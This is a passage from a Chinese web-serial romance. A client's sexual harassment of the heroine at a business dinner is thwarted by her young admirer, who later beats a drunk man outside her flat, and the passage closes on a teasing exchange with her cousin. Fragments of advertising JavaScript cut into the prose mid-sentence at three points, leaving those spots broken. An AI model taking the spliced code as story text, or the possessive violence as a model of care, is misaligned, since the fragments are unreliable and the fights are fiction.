舒瑶颔首,礼貌的对那位眼生的郑总说:“是我和纪组长共同商定的。” 郑总目光灼灼地望着舒瑶,笑呵呵地对她举杯道:“两位真是年轻有为啊。来来来,我敬两位一杯,可要倒满啊。” 53.桀骜(二) 听他这么一说,被提到的两人只得将酒杯都斟满了。 舒瑶和纪宥涵又对了一个眼神,双双举起酒杯,与郑总寒暄:“您太客气了。”说完,两人一起将酒杯喝了个见底。 每家公司的管理层都有自己的行事风格,无论是喜欢在酒桌上劝酒的,还是喜欢一本正经谈生意的,都得看甲方的意思。 沈曜从自己座位上望过去,见舒瑶仰着白皙纤细的颈子喝酒,不悦地皱起眉头,朝一旁坐的梅悦儿问:“汉广与鸿轩的饭局不是第一次了吧?” 策划案马上要定稿了,怎么说在最初会面洽谈时,应该也有过商务饭局。 梅悦儿立马领会到沈曜话中隐含的深意,微微仰头瞧向那个挺着将军肚的“地中海”男人,撇嘴摇头道:“当然不是。之前两次也没见他们这么劝酒的,大家喝酒就是抿几口意思意思。看来这位新加入的郑总就好这口?” 沈曜的眉头拧得更紧,他左手的手指轻轻点着桌面,显示出他的不耐烦。 他用只有梅悦儿才能听到的声量问:“姓郑的全名叫什么?什么来头?” 梅悦儿回忆了一下之前出席聚餐的人员名单,推测:“叫郑旭波。他和汉广的一把手郑峰锐同一个姓氏哎,瞧年龄比郑峰锐小一些。当时我们组还猜这位是汉广的‘皇亲国戚’呢,说不定是他堂弟或侄子吧。” 沈曜望着那位郑总的方向,眼神逐渐锐利,放在膝盖上的右手不自觉地用力握了握。因为他发现,郑旭波看向舒瑶的视线不太单纯,甚至可以说是轻浮。 舒瑶和纪宥涵将面前的红酒一饮而尽,那位郑总也很给力,也喝空了自己面前的杯中酒。 见两人这么给自己面子,郑总满面红光,笑得更真诚了,“其实我刚加入汉广才一周的时间,这两天参与的最大的推广案就是与鸿轩的五一期间的合作展了。昨天我仔细将活动方案研读了两遍,不管是活动的趣味性还是商业性都被安排的恰到好处。多亏贵公司的策划团队了。来来来,我再敬鸿轩各位一杯。希望后续我们的合作也能一帆风顺。” 郑旭波的场面话说得漂亮,鸿轩的每个人都端起酒杯,配合地跟他共饮。 两杯中度的红酒下肚,纪宥涵的脸连着脖子都已经红透。他的酒量不是很好,连着喝两杯,有点吃不消。 舒瑶的余光瞥见他已醉意上头,便从兜里摸出两颗解酒软糖悄悄塞到他手里。 纪宥涵感激地看看她,趁着拿纸巾擦嘴的时候一把将糖塞进了嘴里。 这时,服务员又端来两道热菜,海鲜豆腐煲和黑胶牛柳粒,众人各自按照桌面旋转的顺序依次夹菜。 舒瑶刚吃下一块青椒和一颗牛柳粒,就听郑旭波又说道:“听说这次在选择与游客互动的两位角色扮演网红时,提出以不同形式的互动方式以及分隔两位各自进行互动的建议的,是舒瑶小姐啊?” 舒瑶被郑旭波单独点名,放下筷子,挺直脊背,点头回道:“是的。” 看来这位郑总刚才说的话并非客套,他对策划方案确实是用心研究过。不然不会连这么具体的问题都记住。 “真是非常有前瞻性的建议啊。这么做,既能取悦到真实的目标客户群体,又为今后具有极大商业价值的潜在客户建立了深刻的初步植入印象。”郑旭波赞赏地注视舒瑶,举起已倒满的酒杯,“来,我敬你一杯。” 舒瑶几不可查的眯了眯眼睛,心里警觉到什么,表面上却很淡定,也给自己倒了一杯酒,“谢谢郑总的夸赞。这些都是我们公司应该考虑到的,也是管理层决定的。您太过奖了。” 说完,她露出职业笑容,与郑旭波同步喝完了酒杯中的酒。 陈理杰在一旁满意地笑起来。舒瑶没独占功劳,而是将功劳覆盖到公司层面,果然是一位机敏又很有格局的下属。 三杯红酒下去,郑旭波的脸显出几分红意,眼神也开始飘了。可再观舒瑶,仍是一派淡定自若,谦虚又周到的样子,简直无懈可击。 郑旭波的嘴角上扬的弧度骤减,兴致明显没前一会儿那么高了。 沈曜紧扣在膝盖上的手松了,阴翳的脸色稍减。没想到几年没见,舒瑶的酒量变得这么好了。 酒过三巡,菜过五味,舒瑶与桌上的人打了声招呼,离开座位去了洗手间。 没过几分钟,郑旭波也有点摇晃地站起来去了洗手间。 包厢是与外面的大堂隔开的空间,有单独的贵宾洗手间。因此使用的人相对大堂的大洗手间来说并不多。 舒瑶刚上完洗手间出来,走在幽静的回廊上,迎面遇见了脚步不太稳当的郑旭波。 舒瑶礼貌的主动与他打招呼:“郑总,男士洗手间在往前的左拐尽头。” 郑旭波点点头,打了个酒嗝儿,原本朝前直走的步子偏移了轨道,斜斜地走向舒瑶。 郑旭波的身高中等,但健硕的体型和啤酒肚让他显得像一堵墙。 舒瑶隔着几米就察觉他的眼神飘忽轻浮,内心早已有了防备。 当他晃悠着靠过来时,她仗着行动灵活,迅速转向另一边,堪堪躲过逼近的男人,“郑总喝醉了吗?我去帮你请人来扶您。” 舒瑶把心提到了嗓子眼儿,表面仍旧镇定自若。她知道此时不能露怯或慌乱,越慌越怕越会刺激到对方。 郑旭波满嘴酒气,眼神放肆地上下打量舒瑶。他一把拽住舒瑶的手腕,就想将人拉进自己怀里,“没醉没醉。舒小姐陪陪我?” “郑总,请您放尊重点。”舒瑶当即沉下脸,声音严厉起来。 她咬了咬下唇,一边心想已经好久没碰见这种人了,一边用力去掰男人握着自己手腕的手,奈何力量不比他,掰了两下依然无法挣脱。 因为今晚的饭局,舒瑶特意穿了一套偏保守的纯黑色高领职业套装,没穿往常喜欢的裙子,尽可能杜绝一切令男人想入非非的遐思机会。 她在这类场合一向谨慎,没想到今晚还是遇见这么败兴的事。 “舒小姐,我知道我们这单对你们公司很重要……”郑旭波厚颜无耻地威胁着,笑容猥琐。 舒瑶压住心里的惊慌和恶心感,气得给了他一个白眼。 让人欺负到头上,她才不会忍气吞声。 她悄然握了两下那只能活动自由的手,准备蓄力狠狠地给对方一个耳刮子,却没想到有人的动作比她更快。 “啪——”肉、体倏然撞击墙壁,发出了一声闷响。 舒瑶被眼前的突发状况惊得愣住,停在原地少晌,好一会儿都没眨眼。 她的力气还没蓄到一半呢,郑旭波已经连人带胳膊突然被猛地掼到墙上,脖子也被对方狠狠地用前臂卡住,转瞬之间竟是动弹不得,被摁着贴在墙上的脸都歪得变形了。 青年挑着半边嘴角,如同王者般居高临下地睨着胖男人,讥讽道:“干嘛呢。耍流氓啊?” “哎哎!”郑旭波也被突如其来的变故惊到了,直到此刻才反应过来,“疼疼疼!松手!” 舒瑶看他被折起压到背后的那只扭曲的胳膊,扯了扯嘴巴,都替他疼。 “不放你能拿我怎么样?”青年挑衅道,语气中满是顽劣,“让你多疼一会儿。免得下次忘记它该往哪儿放。” “舒瑶。快叫你的人撒手!”郑旭波疼得直哼哼,还不忘耍横,狠狠道。他的脸色不知是醉的还是被压在墙上憋的,通红。 沈曜手下一个用力,郑旭波又哎呦哎呦痛叫了两声。 舒瑶原本还是有些惊慌害怕的,毕竟这种事不论遇见多少次,都不可能内心毫无波澜。可自从沈曜将郑旭波轻松制服后,她心里那阵本能的恐惧便很快消 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 散了。 沈曜给了她底气。 郑旭波艰难的用余光向身后扫去,当瞥见青年的身影时,他终于想起身后这人也是鸿轩那边的,便有恃无恐地威胁道:“你们和汉广的生意还想不想做了?!” 简直笑话! 真以为她舒瑶是被吓大的吗?和汉广的合作协议已经签订,订金也收了,两个公司如此重视的项目,怎么可能说黄就黄? 这郑旭波以为她还是个涉世未深的小姑娘,这么容易就被吓到? 舒瑶都被气笑了,光明正大地包庇下属,不去劝沈曜放手,竟反讽郑旭波: “我看贵公司也不是特别珍惜与我们的合作,不然今天这是闹哪一出?是你们理亏在先,订金我们可不会退哦。就算要打官司,过错也不在我们这一方。这里的走廊都有监控,你干了什么一查可是一清二楚。” “呵。你小小一个经理,做不了这个主。”郑旭波也不是省油的灯。 舒瑶抱臂硬气地回怼:“咱们陈总最烦您这样的。两年前也有客户想借公在我们女职员身上讨点便宜,结果他直接拒单了。我做不了主,陈总总可以吧?” 郑旭波脸色顿时变得很难看,然而舒瑶说得句句在理,对于陈理杰他才刚接触,并不了解。被舒瑶这么一唬,他一时半刻地竟无从反驳。 舒瑶心里清楚,干他们这行的接触的人群多且杂,女性难免会遇到职场性骚扰。 就像当年她刚毕业找实习那阵进的一家公司风气就不好,老板总是暗示和鼓励年轻漂亮的女员工去套客户。 所以当时实习一结束,她就立刻重新投简历,经过一番披荆斩棘地面试筛选,幸运地进入鸿轩策划工作。 陈理杰当年还不是公司的一把手,但他有一部分股份在手,在鸿轩的权利也不小。 舒瑶刚入职时是从陈理杰的助理职位做起的。她也遇见过手脚不老实的客户纠缠,得陈理杰的庇护,心生感激,也从那时就了解了他的人品和处事风格。 能碰到一个为人正直有能力、不怕事又有原则的老板,简直就和捡着金子的几率差不多。正因为如此,她才会安心留在鸿轩策划发展,多次拒绝猎头提供的跳槽机会。 舒瑶见郑旭波的脸色都快憋成猪肝色了,才给沈曜使了个眼神让他松开他,歪头瞧了眼包厢的位置,示意他和自己离开。 沈曜的确松开了郑旭波,但并没跟着舒瑶,反而向惜汇厅的方向扬扬下巴,说:“你先回包厢去。我等会儿来。” 郑旭波一听他说这种话,不由地暗暗吃惊,心想今天竟然碰见这么个不管不顾的神经病年轻人,真倒霉。“你、你想干嘛?这里可是有摄像头的!” 舒瑶微拧起眉,眼露担忧。 沈曜安慰似的对她勾了勾嘴角,“放心,我有分寸。” 舒瑶迟疑两秒,最终点点头,转身离开了。 “走吧,郑总。”沈曜眸光深沉,戏谑地瞥了眼几乎要喷火的郑旭波,将他三步两步拽进了洗手间里。 舒瑶回到座位上,表面若无其事,心里却在担心沈曜一时气不过而出手打人。 毫无胃口,舒瑶只得给自己倒了一杯橙汁,时不时地端起来抿两口,在饭局上做做表面功夫。 她抓心挠肝地等了几分钟,郑旭波和沈曜才一前一后的回来。 舒瑶先是极快地扫了眼沈曜。那小家伙视线与舒瑶的眼神对了一秒,淡然自若地走回了自己的座位上。 再细观已入座的郑旭波,除了脸色坨红显示其已有醉意之外,竟也像什么事都没发生似的。 “……?”这是什么情况? 舒瑶正纳闷,微信提示音就响了。她扫了一眼同桌的众人,见他们都在喝酒吃菜,便默默划开了屏保。 [沈曜:等会儿我送你回家。] 54.桀骜(三) [沈曜:等会儿我送你回家。] 沈曜的微信发来这条消息。 舒瑶看见,在对话框里刚输入“不用”两个字,又很想知道刚才沈曜单独和郑旭波说了什么,便删去那两字,回了个“好”。 因为是商务饭局,连用餐带交谈,进行的时间难免长了些。 等结束的时候,已经是晚上近十点了。 陈理杰和另两位高管喝得挺多,离开的时候是被他们的司机给扶走的。 纪宥涵喝得不算多,但本身酒量不行,人是有意识的,就是走路的时候直打摆子。 舒瑶帮他叫了代驾,也电话联系了他的家人,告诉他们过一会儿要等在楼下接他。 沈曜将纪宥涵扶着坐上车,见他的车驶离,两人才放心。 另一桌的执行人员都没怎么喝酒,三两成群的该打车的打车,能坐地铁的坐地铁。 等到众人纷纷散尽,舒瑶才和沈曜一起离开。 遇见了扫兴的事,舒瑶的晚餐基本没吃多少。 走出餐厅的那一刻,料峭寒风迎面扑来,舒瑶本能地打了个寒噤。 沈曜跟在她身后,见她发抖,移步站到风向来处与她并肩,替她遮去冷风,“冷吗?我外套给你?” 舒瑶摇摇头,鼻头被风吹得有点泛红,瞧着楚楚可怜,“不用了。不到十度的气温,你把外套给我,再把你冻病就麻烦了。” 沈曜很少看到她这么娇柔的一面,一双亮闪闪的眸子黏在她脸上半晌,废了好大力气才挪开视线。 此时已经很晚,街边几家餐厅都落了大门谢客打烊。荻花雅舍离那几家餐厅有一小段距离,在一条两旁植满法式梧桐树的小巷子里。 深夜人迹罕至,唯有翛翛的东风吹过,冷清寂寥。 舒瑶本来就没吃饱,再被冷风一吹,顿觉腹中有了空空如也的感觉。 隐隐的,似乎有什么味道夹在风里飘过来。 舒瑶抽抽鼻子,是一股很淡的烤羊肉的味道。 她忽然想起,走出这条小巷,穿过一个小弄堂,有家专门卖烤羊肉的老字号烤肉摊。 “我有些饿了,刚才那顿饭都没吃到什么东西。这附近有家卖羊肉串的小店,你要去和我尝尝吗?”舒瑶问。 “好啊。”沈曜抿着嘴角,半垂的眸光凝在舒瑶脸上,在橘色路灯的映照下显得很温柔。“我也没怎么吃。你带路吧。” 舒瑶被他这么直接的放电,想起他喜欢自己,心里多多少少有一点别扭。 于是清了清嗓子,与他并肩慢慢朝巷口走去,“你们那桌又不需要说太多场面话,菜色那么好,你怎么没多吃点?” “那猪头想非礼你。我气都气饱了,哪还有胃口!”提起这事,沈曜的瞳仁黯下来,脸色黑沉得像锅底。 舒瑶偏头望去,恰巧看见他侧脸的下颌角紧绷,咬肌微微凸起。 看样子的确气得不轻,都开始咬牙切齿了。 这位小朋友,论外貌气质甚至平常在人前的表现都和少年时期变化巨大,她以为他已长大沉稳了许多,没想到骨子里的脾气还是这么大。 但联想到他是因为自己才这么生气,心底又有种被人宠着的微妙感觉。 这感觉……并不坏。 如果对方不是自己所反感的人,不论自己对他有无感情,这种体验都是会让人愉悦。 舒瑶掩住嘴角的笑意,赶忙出声分散他的注意力,安抚地劝说:“别气别气,气坏身体多不值得。再说你不是帮我报仇了吗?” 沈曜配合着舒瑶的脚步,将两手随意得插在裤兜里。想来是心情不好,他走得有些懒散。 听见舒瑶劝他,他才轻轻从喉咙里哼了一声,可脸色依然沉沉的。 舒瑶问:“你刚才单独对郑旭波说了什么?他回来的时候这么老实。我还以为他会气得像个河豚。毕竟卫生间没监控,他应该不至于那么老实地等着你收拾他吧。” 沈曜被舒瑶的比喻逗得心情稍微好转了一点,温润的嗓音中夹着惫懒:“我就说我全程录音了。叫他以后小心点儿。” 舒瑶的眼眸一亮,显出一抹玩味:“你真录了?” 沈曜扯了一下嘴角:“我诈他的。” 还挺会急中生智。 回想起之前不愉快的场面,舒瑶的语调正经起来,“说实话,要不是你当时在那儿,我也没底气那么明目张胆的讽刺他。怕激怒他这个色酒鬼,万一他做出什么过激行为我一个人可对付不了。” 许是被舒瑶这句话给取悦了,沈曜的脸色总算有了明显一些的转变,可仍是兴致淡淡。 气性这么大呢?舒瑶暗自咋舌,但同时心里那若有似无的甜味似乎变浓了。 被人放在心上毫不避讳的在意着,让她觉着心里很踏实。 以前来追求自己的男人都是有所克制和保留的,一边小心翼翼地试探,一边点到即止。成年人的世界,总是秉承着谁先沉迷谁就输了的原则。 沈曜是第一个把在意她表现的这么明显又毫无保留的男人。这一点,让舒瑶觉得他表达感情的方式虽然幼稚,但却是难能可贵的真挚。 但凡真挚,就能打动人心。 - 两人沿着小巷走了约莫十分钟,走到巷子口,往左一拐,进入一条狭窄弄堂。 海城的这种老弄堂很多,在城市中心纵横交错,带着岁月味道的老式建筑,见证了海城的沧桑与繁华。 弄堂两边多是有些年头的老式居民楼。 一家紧挨着一家,暖色的灯光从半旧的碎花窗帘里透出来,偶尔还能听到母亲训斥孩子或是夫妻两拌嘴的吵吵声,充满了温馨的市井烟火气。 舒瑶带着沈曜穿过那条狭窄的弄堂,来到一个与四条车道的马路衔接的拐角,浓浓的羊肉味很快就盈满两人鼻端。 “就是这家。”舒瑶眼睛一亮,兴致勃勃地和沈曜介绍,“天气冷的时候,如果下班晚,我就经常会过来这里。他家的羊肉非常新鲜,每串的肉量都很足,味道特别正宗,我吃个两串就能吃饱。” 沈曜被舒瑶的好兴致所感染,嘴角终于有了上扬的笑意。 舒瑶见他笑了,心头稍安,“今天谢谢你及时出手,我请你吃吧。你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 想吃几串?要放辣吗?” 沈曜挑起眉毛,灼亮的眼珠晃了晃,勾唇笑了:“好啊。来三串,微辣。这次你请我,下次我再请你。” 舒瑶的眉头几不可查的动了一下,揣摩片刻,决定等两人吃完了,心情好点再和沈曜说劝退他别追求自己的事。 她对沈曜没有男女方面的感情,之前和他一起吃饭时委婉的提过两次,都被他给故意带偏了话题。 不喜欢别人还不说清楚,总像是她在故意吊着沈曜似的。这不是舒瑶的行事风格。 舒瑶和烤羊肉的小哥说了要五串微辣的红柳羊肉串。等了一会儿,老板就将香气四溢、冒着滋滋小油气泡的羊肉串递给两人。 两人站在街边,面对面地撸串。 羊肉肥瘦相间、中间还穿插着两片红椒,撒上孜然以后,能香掉人的眉毛。 舒瑶吃得一本满足,嘴唇上油亮亮的,嘴角边还沾着两粒孜然。 沈曜点的肉串比舒瑶的多一串,但他吃得快,三两口就解决掉一串,最后两人是同时吃完的。 舒瑶将串肉串的小木枝扔进垃圾桶,心满意足地仰头哈出一口热气,“真好吃。今晚的遗憾都弥补了!” 沈曜的眼睛盯着她的嘴角,那对褶皱分明的棕色眼眸,在街边橘色的路灯照耀下显得晶莹剔透,像对金琥珀似的。 就在舒瑶低头去摸口袋里的纸巾时,他靠近她一步,伸手用大拇指抹掉了她唇角沾的孜然颗粒。 舒瑶感觉到唇边的温热,整个人怔了一秒,身体微微往后躲开两寸距离,也没抬头看做出亲昵动作的男生,而是忽视了他刚才的行为,继续低头拿纸巾。 沈曜深深看着她,浅浅一笑,下一秒就将拇指上的孜然抿进了自己嘴里。 舒瑶在此时才抬头,他撩人的动作和笑容恰巧落入她眼里。 也不知是男生的眼神太直白,还是抿拇指的动作有些性感,舒瑶的心微微一悸。 “你……以后别这样。”舒瑶垂下眼帘,拆开纸巾包从中抽出一张递给他,自己又拿出一张,“擦擦嘴吧。” 深夜,街边,与自己面对面的男人心里装着自己,他还帮她抹去嘴角的孜然放进了自己嘴里……这些元素凑在一起,无端地让舒瑶感到有些焦躁。 直到舒瑶出言提醒,沈曜才回神,他意识到刚才的行为有些过界。 “抱歉。下次不会了。”沈曜赧然低头,撸了两下后脑勺。他苦恼地觉察到,现在自己只要靠近她,就会控制不住地想亲近她、触碰她。 沈曜的举动让舒瑶释然,得知他不是故意的,她心里的别扭劲儿随即消散。 夜色正浓,可烤肉店里的灯光明亮,将垂着头的高个儿男生羞红的耳廓照得格外清晰。 舒瑶恍惚觉着这小男生少年时期的青涩感还在,意外的纯情。 她悄悄会心一笑。 沈曜低头撸着后脖颈,见舒瑶没说话,又偷偷掀起眼帘打量她。 舒瑶嘴角的笑意还没淡去,被男生瞧个正着。 两人的视线在澄亮的灯光里不期而遇,交织出一丝暧昧。 55.桀骜(四) 舒瑶默默移开视线,隔了几秒才问:“你吃饱了吗?” “七成饱,够了。吃多会胖。”沈曜擦完嘴,将舒瑶手里用过的纸巾一起抽走,捏成一个纸球,一个远投就扔进了垃圾桶里。“先拦车送你回家?” “好。”舒瑶笑道:“你还挺注意身材管理嘛。” “当然。一周三次健身,雷打不动。”男生一边说,一边跃起做了个投篮的动作。 他身材颀长,比例优越,跃起的姿势轻松流畅,在沉沉夜色下仿佛一束莹亮灵动的流光。 舒瑶心想,难怪他身材这么好。如果不注重运动,很多上了大学的小年轻们就已经开始发胖了。 “你呢?平时运动吗?”沈曜留意着街边行驶的车辆,还不忘和她聊天。 “运动。瑜伽或跑步,一周一次吧。”看男生有点顽皮地面对自己倒着走路,舒瑶弯起眼睛,时不时地提醒他注意脚下。“你几岁了,还倒着走。小心摔着。” 她不得不承认,在这个寒冷春夜有他的陪伴,让她感觉温暖和安全许多。 也许是一样的深夜,也许是一样的寒风,街边行人甚少,唯有偶尔驶过的车辆,银白色的车灯匆忙掠过,就好像他们曾一起经历过这样的夜。 眼下的情景十分熟悉,舒瑶忽然忆起当年和杨衍不欢而散的那个情人节,也是身旁这个男生一直陪伴自己。 心湖里汩汩的暖意上涌,舒瑶蓦然想通了她一直无法狠心拒绝沈曜近来的邀约的原由: 他是唯一一个和自己关系不那么“单纯”的追求者。除了男女之情,他们之间还有混淆不清的友情和类似亲情。 面对成分如此复杂的情感,舒瑶没办法做到彻底狠心直接的拒绝他,所以才会拖到今天。 就趁着今晚和他说清楚吧……总这么拖着,像是既不想和他一起却又吊着他不放。 就在舒瑶打定主意的同时,沈曜拦到了车。 今夜风有些大,但好在皓月当空,繁星闪闪。 舒瑶晚上喝了些酒,沈曜不放心她一个人走夜路,哪怕是从小区门口到她家门口这两、三百米的距离。 陪她下车后,他一直将她送到她所住的单元楼的楼下。 “我走了,你早点休息。”沈曜说着,已然转过身,一副马上要离开的架势。 朦朦的月光为一旁的木樨树洒下一片阴影,遮去了青年的半个身子。 舒瑶闷了整整一路,见男生面带微笑,犹豫再三,即便有些不忍打击他,最后终于下定决心似的,对他说道:“沈曜。下周……别约我单独吃饭了。” 沈曜的语气沉下来,眸光也黯然几分,“什么意思?” “嗯……”舒瑶叹了口气,好言劝说:“就你想的那层意思。咱俩各方面都……不太合适。当朋友可以,但往深发展,不行。你别在我身上浪费时间了。” 沈曜的心被她的拒绝蓦然扎了一下,倒抽一口气,尽量告诉自己要冷静,“你有男朋友了?” “没啊。” “那为什么我不可以?”沈曜缓缓吐气,耐着性子追问,“你还是嫌我年纪太小?” “不是这个原因。”舒瑶摇头,烦闷地皱了皱眉,停顿片刻,最后坦诚道:“你和我的理想型不太一样。” 夜风清冷,将一片薄薄的乌云吹来,浅浅地遮住了月光,将男生的身形笼进昏暗里。 星光也变得忽明忽暗。 沈曜的神情沉得吓人,像是在生气,又像是被打击后露出的消沉,“你不给我机会,不和我试试,怎么知道我俩一定不合适?” 舒瑶看他这样,有些于心不忍,言辞委婉了些,态度也更柔和,“如果不合适再分开,我们还能像以前一样吗?如果我对你那么随意,那才是我对你真的不负责任。” “我不介意你负不负责任,我只想你给我个机会。”沈曜的胸口渐渐起伏,眼眶有些发红,情绪明显比刚才激动了不少。 或许是被舒瑶明确的拒绝伤了心,他的声音有些暗哑,也比平时低沉,“哪怕一个月,一个月不行就三个星期。或者你就这么让我追你也行!” 舒瑶心疼他受伤的模样,可这不是心疼就能放任不管的事,只得坚持道:“我心里拿你当半个弟弟,如果真的和你恋爱,我会有背德感。” “弟弟……”沈曜的眼里泛起水光,心情越发绝望,“所以你就是不喜欢我,哪怕一丁点儿……哪怕我再怎么坚持、再怎么努力,你还是不喜欢我……” 说到后来,他的尾音颤然,语调都带出几分哽咽。 如果是舒瑶有了喜欢的男人,他可以退出,不再去追求她。但她目前并没有喜欢的人,一再地劝说自己主动远离,他实在做不到。他不甘心,更不服气。 男生垂下头紧抿嘴唇,用手背快速抹了把眼睛,放在身侧的另一只手紧握成拳,却倔强的不肯离开。 舒瑶的心跟着一抖。这是……哭了? 她没想到这男生平时拽得上天,此时被自己彻底拒绝会变得这么脆弱? 她真的不想把人弄哭,尤其还是一个身高超过186的大男生。她顿时觉得自己有点铁石心肠。 她从进入青春期以来拒绝过不少男生,但能让她罪恶感这么重的,唯有沈曜一人。 舒瑶只能硬着头皮干巴巴地劝他:“你、你没事吧……你你你冷静一下。” 当面明白直接的拒绝沈曜,果然比她想象的要艰难,这也是她拖了两个星期才说的原因。 眼见男生眸光黯淡,颓然垂头,伤心郁闷的仿佛风一吹就要倒,她实在不忍心再说下去,又没办法掉头说走就走。 两人一时就这么僵在这儿。 风更冷,夜更沉。 天上的云层不知在何时缓缓聚拢堆积,遮去大半月华和漫天星光。 意外的一幕骤然发生了。 一个高瘦的身影绕过楼下的木樨树,几步急奔过来,一把抱住舒瑶,扑面而来的还有那满身的酒气。“瑶瑶!嘿嘿……我来找你了。” 很显然,又来了个不要命的醉鬼。 沈曜这一晚本来就被郑旭波骚扰舒瑶的事给刺激的气还没消,而后又被舒瑶的拒绝打击颇深,当下还来了个不长眼的色酒鬼当着他面搂他喜欢的女人。 沈曜脑中理智的弦终于在这一刻崩断了。 他像 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是发怒的狮子一般猛地掠起,狠狠拽住那陌生男人的衣领用力一扯,当场将他甩飞出去。 舒瑶被突来的变故惊得愣住,吓得都不会动了,眼睁睁看着沈曜朝那人气势汹汹的扑过去就揍。 那男人个子也高,被狠揍两下,似乎有些清醒过来,嘴里骂了句“操”,立刻反击过去。 两个一米八几的高大男生你一拳我一脚的打起架来,像是两股破坏力极强的犀利飓风,将周遭的花草树木压得东倒西歪。 那画面颇有些触目惊心。 也不知是谁的一缕血线,在幽暗的夜色下滑过舒瑶的眼帘。 舒瑶总算从惊吓中回神,借着坏掉的路灯发出的时有时无的弱光费力看清那突兀冒出的男人轮廓。 她惊呼一声,跑过去想拉开两人。 但是那两个男人看样子都是会打架的,一时半会儿地扭打在一起,舒瑶竟不知如何下手。 “停……停下……停!”舒瑶头一次近距离看男人打架,心惊肉跳之下,颤着声轻呼。 沈曜揍起人来很猛。如果旁边有棵树,感觉都能被他给抡断了。幸亏和他对打的那男生也不弱气,不然估计得打出个好歹来。 渐渐地,到底是沈曜占了上风。 两人四周的小花小草早已被他们摧残地没了生命,扁扁塌塌地摊在泥里,凄惨惨地零落四散。 动静闹得不小。 四周原本已熄灯的居民楼里逐渐亮起灯光,有些居民还打开窗户围观,嚷嚷着“打架了打架了,快报警”。 沈曜将那年轻男人摁在身下,正要再来一拳,舒瑶抖着腿使出浑身力气拽住沈曜的衣角,惊慌的劝:“沈曜。停!别、别打了。” 她被吓得不轻,脑中想着要喊出什么关键的信息来阻止这场架,却卡在嗓子眼儿里半天说不出来。 沈曜根本不会听劝。敢碰舒瑶,就要做好被他打残的准备。他下手就是一拳,打得那举起小臂格挡的年轻男人痛呼一声。 “沈曜。别打了!别打了!”舒瑶骤然抱住沈曜的胳膊,声音带上哀求。她从没见过如此盛怒的沈曜,这回亲眼看见,吓得她不知所措。 沈曜的劲儿还是很猛,眼睛因暴怒而通红,她感觉自己快拉不住他了,“他是我表弟!你快停手!” 老天!她可终于把卡在嗓子里那句话给喊出来了! 嗯?表弟?沈曜的动作迟疑了一分。 舒瑶的心神一片混乱,见沈曜的拳头仍举在半空不肯收势,急得不知如何是好:“你停下来!我让你追我!我让你追还不行嘛!” 舒瑶的声音听着都像是快哭了,她想着无论用什么办法也要把沈曜给安抚下来。脑中轰然一片,只模模糊糊地揪住这一根稻草。 结果很明显,她揪住了特效药。这句话的效果立竿见影。 沈曜举起的拳头瞬间缓下不动了,像是被按了暂停键,这句话成功唤回了他的理智。 被摁在地上的男人一见有转机,反应也很快,立时趁机破口大骂,“操!你敢打你未来小舅子!” “……”沈曜僵在当场。 舒瑶无语地捂住半边脸:“……” 56.桀骜(五) 舒瑶头一次感谢这个表弟不太靠谱,逃学打架样样都干过。否则换了一般乖巧点的男生,估计已经被沈曜给揍晕过去了。 事态被控制住,舒瑶几近脱力。她觉得自己像是一片纸,腿软的直往地上滑。 沈曜愣了须臾,见舒瑶被吓得花容失色,迅速起身跑过去,一手箍住她的腰,一手托扶住她的胳膊,才将她堪堪稳住:“你还好吧?” 舒瑶狠狠倒了口气,缓了几秒,脸色苍白地摇摇头。 她自己能站稳之后,也顾不得回沈曜话,连忙蹲下去拉地上的男生,又气又担忧地问:“王若安!你怎么样了?” “咳咳……放心,死不了。”躺地上的青年慢慢起身,抬手用大拇指抹了把嘴角的血,“姐,我好不容易来看你一次,这风险忒大了吧。” 舒瑶上前搀扶住他的胳膊将他拉起身,看他眼角和嘴角都挂了彩,心疼的轻斥道:“谁让你一来就这么没正形。这月黑风高的,我都被你吓一跳,以为你是哪里冒出来的色狼!” “你喝酒了吧?全身都是酒气。”舒瑶扶着一瘸一拐的王若安来到底楼的大厅,借着灯光检查他脸上的伤口。 王若安嘿嘿笑两声默认了,又被嘴角的伤扯痛收了笑。他瞥了一眼站在楼门外默然无声的青年,问舒瑶:“姐,他谁啊?打起架来居然比我还野。” 嘴上这么问着,但单从刚才舒瑶和这年轻男生的对话,王若安已经猜到这小哥是姐姐的追求者。 舒瑶侧头望过去,见沈曜站在夜色里,头发因打架而凌乱,眼中露出疏离又期盼的目光,像是被人遗弃的流浪狗。 舒瑶原本还是有些生他气的。 这家伙发起疯来,自己完全拉不住。 可与他对视几秒,看见他眼底的落寞,她顿时就心软了,对他说道:“你先别走了。跟我一起上楼。我给你们擦擦药。”语气中有点责怪,却又透着关心。 沈曜脸色稍缓,用手背蹭了一下脸上的灰和土,默默走过去。 三人一同上了楼。 舒瑶的房子是她单独租的一室一厅,面积也就四十平左右,但被她布置的很温馨。 屋里以米色调为主,玄关的半人高封闭式鞋柜上摆着一瓶黄玫瑰。客厅里没有餐桌,只有一个茶几,茶几上有几本杂志,和一盆被养的胖嘟嘟的生石花。 舒瑶让两人坐在沙发上别乱动,自己进了卧室去拿药。 王若安将被弄脏的卫衣脱了挂在玄关,悠哉地走到沈曜身旁坐下,脊背靠在沙发上。 按理说突然被人一顿胖揍,王若安该生气才对。 但联想到这男生和姐姐的关系,王若安就觉着没什么可气的。有个武力值这么高的人护着姐姐,他也挺乐意。既然一开始是出于误会,那他也不会将它真的放在心上。 王若安歪着头打量沈曜,不咸不淡地问:“帅哥挺能打啊。听我姐刚才的喊话,你在追我姐?你年纪看着不大啊,几岁了?” 沈曜也将外套脱了叠好放在沙发一边。他虽然坐着,但脊背挺得笔直。“嗯。二十一。” 见王若安侧头瞧自己,沈曜也看向他。王若安和舒瑶长得有三分像,皮肤比舒瑶黑了两个色号,是个浓眉大眼的阳光型男生。 王若安惊了一下,“嚯!这么小?比我还小呢!难怪我姐瞧不上你。” 沈曜仿佛被触了逆鳞,微微侧过肩膀,冷冷盯着他,嚣张的说:“反正你打不过我。” 王若安见他这反应很有趣,嗤笑了声,“我说弟弟啊……你脾气这么冲,怎么赢得我姐芳心啊?” 沈曜挑着眉毛睨他,等着他往下说。 王若安放轻声音,逗他说:“我姐喜欢的是沉稳绅士款的熟男。你这也太……青春了点。” 